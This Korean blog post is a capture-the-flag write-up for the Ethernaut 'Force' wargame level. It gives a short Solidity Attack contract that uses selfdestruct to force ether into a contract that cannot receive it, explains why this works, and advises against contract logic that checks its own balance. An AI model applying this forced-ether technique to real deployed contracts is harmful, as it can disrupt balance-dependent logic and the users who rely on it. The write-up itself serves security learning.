티스토리 뷰

Solidity/Hacking

[Ethernaut] 7. Force

piatoss 2024. 1. 17. 12:00

1. 문제

아래의 컨트랙트의 잔액을 0보다 크게 만들어라  ¯\_(ツ)_/¯
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}


2. 해법

 Force 컨트랙트를 공격하는 다음의 컨트랙트를 작성합니다. 생성자의 인수로 Force 컨트랙트의 주소와 약간의 이더를 받아서 attack 함수를 호출할 때 사용합니다.

contract Attack {
    address public force;

    constructor(address _force) payable {
        force = _force;
    }

    function attack() public {
        selfdestruct(payable(force));
    }
}

 

 Force 컨트랙트의 주소와 극소량의 이더를 사용해 Attack 컨트랙트를 배포합니다.

 

 attack 함수를 호출하고 트랜잭션이 컨펌되면 Attack 컨트랙트에 있던 잔액이 Force 컨트랙트로 전송된 것을 확인할 수 있습니다.


3. selfdestruct

 일반적으로 send, transfer, call 함수를 사용해 컨트랙트로 이더를 전송하려면 컨트랙트에 receive 또는 fallback 함수가 구현되어 있어야 합니다. 또한 payable 키워드가 명시되어 있어야 합니다. 그렇지 않다면 스마트 컨트랙트로 이더를 전송할 수 없습니다. (send, transfer, call 함수가 컨트랙트의 receive, fallback 함수를 호출)

 

 그러나 한 가지 말 그대로 '강제'로 스마트 컨트랙트로 소매 넣기를 할 수 있는 방법이 있는데 그것이 바로 selfdestruct를 사용하는 방법입니다.

selfdestruct(address to);

 

 selfdestruct는 SELFDESTRUCT OPCODE를 호출하여 스마트 컨트랙트를 블록체인으로부터 제거하는 기능으로, 관련 코드와 스토리지를 제거하고 가지고 있던 이더를 selfdestruct(address to)를 호출할 때 넘겨준 to에게 모두 전송합니다. 이때 컨트랙트의 별다른 함수를 호출하지 않고 이더를 컨트랙트의 주머니로 다이렉트로 전송하기 때문에 거부할 수가 없습니다. 이로 인해 'address(this).balance == 0'과 같은 조건을 컨트랙트 내부에서 사용하는 컨트랙트 입장에서는 갑자기 모든 로직이 마비될 수 있습니다. 따라서 그러한 컨트랙트 로직은 가능하면 집어넣지 않는 것이 좋고 별도로 전송받은 금액을 카운팅하는 변수를 스토리지에 저장하고 이를 사용하는 식으로 예기치 않은 잔액에 대처할 수 있습니다.

 

 또 다른 소매 넣기 방식으로는 컨트랙트가 배포되기 전에 컨트랙트의 주소를 미리 계산하여 계산된 주소로 이더를 보내놓는 것입니다. 이렇게 전송된 이더는 컨트랙트가 실제로 배포된 뒤에 컨트랙트의 잔액으로 나타나게 됩니다.


4. 결론

이더를 소매 넣기 당할 수도 있으니, 컨트랙트의 잔액을 비교하는 조건문을 컨트랙트 로직에 포함하는 것을 삼가도록 합시다.

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 9. King  (0) 2024.01.20
[Ethernaut] 8. Vault  (0) 2024.01.18
[Ethernaut] 6. Delegation  (0) 2024.01.16
[Ethernaut] 5. Token  (0) 2024.01.15
[Ethernaut] 4. Telephone  (0) 2024.01.08
최근에 올라온 글
최근에 달린 댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Total
Today
Yesterday
글 보관함